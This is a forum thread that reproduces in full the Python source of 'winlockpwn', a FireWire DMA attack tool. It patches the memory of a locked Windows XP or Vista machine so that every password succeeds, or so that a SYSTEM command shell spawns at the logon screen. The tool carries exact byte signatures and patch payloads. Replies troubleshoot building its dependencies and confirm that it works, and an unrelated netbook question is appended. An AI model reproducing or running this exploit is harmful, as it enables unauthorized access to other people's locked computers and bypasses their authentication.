Code:#!/usr/bin/python # Windows locked screen remote firewire unlockor # Metlstorm 2k6 # Uh, private use only, not for public distro, kthx. import sys import firewire import binascii import time VER=1.6 VERSTR="Winlockpwn v%s Metlstorm, 2k6. <firstname.lastname@example.com>" % VER # Targets are dicts, with some properties, and one or more phases # each phase specifies a signature which can be found at one or more # page offsets. When a signature is found the patch is applied at patchoffset # bytes from the beginning of the signature. targets=[{ "name":"WinXP SP2 Fast User Switching Unlock", "notes":"When run against a locked XPSP2 box with FUS on, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.", "phase":[{ "sig":"8BD8F7DB1ADBFEC3", "pageoffset":[2905], "patch":"bb01000000eb0990", "patchoffset":0}] }, {"name":"WinXP SP2 Unlock", "notes":"When run against a locked XPSP2 box with regular non-fast-user-switching, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.", "phase":[{ "sig":"0502000010", "pageoffset":[3696], "patch":"b801000000", "patchoffset":0}] }, {"name":"WinXP SP2 msv1_0.dll technique", "notes":"Patches the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in, locking, and probably network authentication too! This is the best allround XPSP2 technique.", "phase":[{ "sig":"8BFF558BEC83EC50A1", "pageoffset":[0x927], "patch":"B001", "patchoffset":0xa5}] }, {"name":"WinXP SP3 msv1_0.dll technique", "notes":"Patches the call which decides if an account requires password authentication. Page Offset signature changed from SP2.", "phase":[{ "sig":"8BFF558BEC83EC50A1", "pageoffset":[0x81B], "patch":"B001", "patchoffset":0xa5}] }, {"name":"Windows Vista msv1_0.dll technique", "notes":"Patches the call which decides if an account requires password authentication. Signature and offsets changed with Vista.", "phase":[{ "sig":"8BFF558BEC81EC88000000A1A4", "pageoffset":[0x76A], "patch":"B001", "patchoffset":0xBD}] }, {"name":"WinXP SP2 utilman cmd spawn", "notes":"At the winlogon winstation (locked or prelogin), will spawn a system cmd shell. Start util manager with Win-U, and make sure all the disability-tools are stopped (narrator starts by default). Then run this, wait till it's patched a couple of data-phase things, then start narrator. Enjoy a shell. You can use this with the msv1_0.dll technique as well, and log in. Any time you want to get back to your shell, just lock the desktop, and you'll go back to the winlogon winstation where your shell will be waiting.", "phase":[ {"name":"Patch code", "sig":"535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb", "pageoffset":[0x39f], "patch":"565383c310899de8faffffff158810185b898540fbffff9090909090", "patchoffset":0x0}, {"name":"Patch data", "sig":"2f0055004d000000d420185b0539185b0000000053006f006600740077006100", "pageoffset":[0x9ac, 0x5ac, 0x3ac], "patch":"63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000", "patchoffset":0x0, "keepgoing":True, } ] } ] start = 0x8000000L end = 0xffffffffL chunk = 4096 print VERSTR def printTargets(targets): i = 1 print " Available Targets:" for t in targets: print " %2d: %s" % (i, t["name"]) i+=1 print "\nTarget Notes:\n" for t in targets: print "%s:\n---------------\n%s\n" % (t["name"], t["notes"]) def usage(): print "Usage: winlockpwn port node target [start-end]" print " - Port and node are the firewire port and node numbers. Use businfo to identify your targets port and node numbers." print " - Target should be one of the numbered targets listed below." print " - You can optionally supply a start-end memory range to search for signatures in, useful if you're restarting, or want to limit the upper end of memory (which will otherwise walk up to 4GB without stopping). This understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB, -0xffff." print "(Remember that you'll need to use CSR trickery with romtool to talk DMA to windows.)\n" printTargets(targets) sys.exit(1) if len(sys.argv) < 4: usage() try: port = int(sys.argv[1]) node = int(sys.argv[2]) targetno = int(sys.argv[3]) if len(sys.argv) > 4: start,end = firewire.parseRange(sys.argv[4]) if end == None: end = 0xffffffffL except ValueError: usage() if targetno < 1 or targetno > len(targets): usage() target = targets[targetno -1] print "Target Selection:" print " Name : %s" % target["name"] print " Notes : %s" % target["notes"] for p in target["phase"]: if p.has_key("name"): print "Phase: %s" % p["name"] print " Pattern: 0x%s" % p["sig"] print " Offset : %s" % p["pageoffset"] print " Patch : 0x%s" % p["patch"] print " Offset : %d" % p["patchoffset"] print "Scanning Options:" print " Start : 0x%x" % start print " Stop : 0x%x" % end print " Pagesz : %d" % chunk for so in p["pageoffset"]: if len(p["sig"]) + so > chunk: print "Uh oh, signature crosses page boundary. This isn't supported :(" sys.exit(1) if so + p["patchoffset"] > chunk: print "Uh oh, patch offset crosses page boundary. This isn't supported :(" sys.exix(1) print "Init firwire, port %d node %d" % (port, node) h = firewire.Host() n = h[port][node] print "Snarfin' memories..." sys.stdout.flush() dumppage = False won = False startt = time.time() last = 0 for p in target["phase"]: try: print "Phase: %s" % p["name"] except KeyError: pass signatureoffset=p["pageoffset"] eviloffset = p["patchoffset"] payload = binascii.unhexlify(p["patch"]) pattern = binascii.unhexlify(p["sig"]) eviladdr = None for offset in range(start, end, chunk): now = time.time() if now > (last + 1): last = now print "\rChecking for signature on page at 0x%08x (%dkB) at %d kB/s..." % (offset, offset / 1024, (offset - start) / (now - startt) / 1024 ), sys.stdout.flush() for so in signatureoffset: mem = n.read(offset + so , len(pattern)) if mem == pattern: print "Found signature at 0x%08x" % (offset + so) eviladdr = offset + so + p["patchoffset"] if dumppage: fo = open("winlockpwn.dumppage.0x%08x" % offset, "w") fo.write(n.read(offset, chunk)) fo.close() break if eviladdr != None: won = True print "Setting up teh bomb...", n.write(eviladdr, payload) print "Donezor!" verify=n.read(eviladdr, len(payload)) print "Verified evil: 0x%s" % (binascii.hexlify(verify)) if dumppage: fo = open("winlockpwn.dumppage.0x%08x.patched" % offset, "w") fo.write(n.read(offset, chunk)) fo.close() if p.has_key("keepgoing") and p["keepgoing"]: eviladdr = None else: break if won: print "You may proceed with your nefarious plans" else: print "\nOh noes, you didn't win" endt = time.time() print "Elapsed time %d seconds" % (endt - startt)
Thankyou for the guide - however summits gone wrong. [with me this is normal]
The error i get is :
bt ~ # cd pythonraw1394
bt pythonraw1394 # make
swig -shadow -python -I/usr/local/include/libraw1394 raw1394.i
/usr/local/include/libraw1394/raw1394.h:1244: Error: Syntax error in input(1).
make: *** [raw1394.py] Error 1
bt pythonraw1394 #
My MakeFile is :Have i borked it completly?Code:.PHONY=all clean dist all: raw1394.py _raw1394.so _raw1394.so: raw1394_wrap.c /usr/local/include/python2.3 $(CC) -Wall -shared -fPIC -I/usr/local/include/python2.3 -I/usr/include/libraw1394 raw1394_wrap.c -$ raw1394_wrap.c: raw1394.py raw1394.py: raw1394.i swig -shadow -python -I/usr/local/include/libraw1394 raw1394.i clean: -rm raw1394.py -rm raw1394.pyc -rm _raw1394.so -rm raw1394_wrap.c -rm pythonraw1394.tar.gz dist: clean tar czf pythonraw1394.tar.gz -C.. --exclude=\.\* pythonraw1394/Makefile pythonraw1394/README pythonr$
Thanks in Advance
Hmm, not sure what your doing wrong. I notice your using Python 2.3. Have you tried following the instructions on the first page with the 2.5 method? Let us know.
Tested on WindowsXPSP2,SP3 and works fine just got a problem with Vista once start surf the memory just after a few sec will detect the error resource busy .. as previuos posted.
Been tested also with the Network login with XPSP2 and worked great !
ok i crossed that hurdle
now i am at the point where i have to reference /usr/local/include/python2.5 in the other scripts - but i cant see any obvious places to put the reference into
Its getting late so i will have another look again tomorrow thankyou for the 2.5 pointer
Vista will work for a few seconds, at which point you will get a resource busy error. As I previously requested, if anyone has a firewire device other than an Ipod, please use romtool to create a csr file.


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It's been quite some time since I posted on this forum, surprised I remember my password :P
Anyways I'm in the market for a new netbook, and I would like one that is compatible with BT 5 R3.
Specifically with packet injection and out of the box compatibility. I would assume something atheros based.
If anyone has any experience or has bought a nice netbook that works with BT5 pretty good, please share.
Not looking to spend alot either, appreciate any feedback, thanks.


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